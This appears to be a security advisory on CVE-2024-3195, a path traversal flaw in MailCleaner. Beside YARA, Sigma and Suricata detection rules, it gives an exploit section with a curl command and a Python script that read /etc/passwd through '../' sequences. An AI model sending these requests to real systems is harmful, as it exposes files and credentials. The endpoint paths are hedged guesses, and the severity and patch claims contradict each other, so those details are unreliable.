CVE-2024-3195

Executive Summary

CVE-2024-3195 is a critical path traversal vulnerability identified in MailCleaner, an email filtering and security appliance. The flaw resides in the Admin Endpoints component, allowing an unauthenticated remote attacker to traverse directories and read arbitrary files on the server. The vulnerability affects versions up to and including 2023.03.14. While the CVSS score is 4.7 (Medium), the public availability of an exploit and the potential for sensitive data exposure (e.g., configuration files, credentials) elevate the risk. No official patch has been confirmed, and the vendor recommends applying a fix.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone appliance vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) - Limited file read access.
• Integrity Impact: None (I:N) - No file modification.
• Availability Impact: None (A:N) - No denial of service.

Threat Level: High (due to public exploit and potential for credential theft).

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the Admin Endpoints of MailCleaner. The application fails to properly sanitize user-supplied input when handling file paths. An attacker can inject sequences like ../ to escape the intended directory and access arbitrary files on the filesystem.

Root Cause: The application likely uses a function like file_get_contents() or readfile() in PHP without validating the input path against a whitelist of allowed files or stripping path traversal sequences.

Attack Vector: The attacker sends a crafted HTTP request to an admin endpoint (e.g., /admin/readfile.php?file=../../etc/passwd). The server processes the request and returns the contents of the requested file.

Impact: An attacker can read sensitive files such as:

• /etc/passwd (user enumeration)
• /etc/shadow (password hashes, if readable)
• Configuration files containing database credentials or API keys
• Application source code (to find further vulnerabilities)

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

<?php
$file = $_GET['file'];
$content = file_get_contents('/var/www/admin/files/' . $file);
echo $content;
?>

Patched Code (Conceptual PHP):

<?php
$file = basename($_GET['file']);
$allowed_dir = '/var/www/admin/files/';
$full_path = realpath($allowed_dir . $file);
if (strpos($full_path, $allowed_dir) === 0) {
    $content = file_get_contents($full_path);
    echo $content;
} else {
    http_response_code(403);
    echo "Access denied.";
}
?>

The patched version uses basename() to strip directory components and realpath() to resolve the full path, then checks that the resolved path starts with the allowed directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable MailCleaner instance (version <= 2023.03.14)
• Network access to the admin web interface

Exploit Steps:

1. Identify the admin endpoint (e.g., /admin/readfile.php or /admin/download.php).
2. Craft a request with path traversal payload:

   GET /admin/readfile.php?file=../../../../etc/passwd HTTP/1.1
   Host: target-mailcleaner.local
   

3. Observe the response containing the file contents.

Example using cURL:

curl -v "http://target-mailcleaner.local/admin/readfile.php?file=../../../../etc/passwd"

Automated Exploit (Python):

import requests

target = "http://target-mailcleaner.local"
endpoint = "/admin/readfile.php"
payload = "../../../../etc/passwd"

response = requests.get(f"{target}{endpoint}?file={payload}")
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or %2e%2e%2f patterns.
• Alert on access to sensitive files like /etc/passwd or /etc/shadow via web requests.

Prevention:

• Apply the vendor patch immediately.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file read permissions on the server (e.g., ensure web server user cannot read /etc/shadow).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with ../ or %2e%2e%2f in the query string.
  • Requests to admin endpoints with file= parameter.
  • Outbound connections from the MailCleaner server to unknown IPs (if attacker exfiltrates data).

• File System IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, or configuration files.
  • Modified web server logs showing path traversal attempts.

• Log IOCs:

  • Web server logs containing entries like:

    192.168.1.100 - - [01/Apr/2024:12:34:56 +0000] "GET /admin/readfile.php?file=../../../../etc/passwd HTTP/1.1" 200 1234
    

Detection Engineering

YARA Rule

rule CVE_2024_3195_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting MailCleaner CVE-2024-3195"
        author = "Valters IT"
        date = "2024-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3195"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $admin_endpoint = "/admin/"
    condition:
        any of ($traversal*) and $admin_endpoint
}

Sigma Rule

title: MailCleaner Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in MailCleaner admin endpoints
author: Valters IT
date: 2024/04/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e\\'
        cs-uri-stem|contains: '/admin/'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3195 MailCleaner Path Traversal Attempt"; flow:to_server,established; content:"/admin/"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Apply the vendor patch if available. If not, isolate the MailCleaner appliance from untrusted networks.
   • Implement a WAF rule to block path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
   • Restrict file system permissions so the web server user cannot read sensitive files.

2. Long-term Fixes:

   • Upgrade to a patched version of MailCleaner once released.
   • Conduct a code review of all admin endpoints to ensure proper input validation.
   • Implement a file access whitelist for admin file read operations.

3. Monitoring:

   • Enable detailed logging on the web server and monitor for path traversal attempts.
   • Set up alerts for unusual file access patterns.

4. Compromise Assessment:

   • Check web server logs for any successful path traversal requests.
   • Review system logs for unauthorized access to sensitive files.
   • Rotate any credentials that may have been exposed.

Valters IT
Securing Digital Frontiers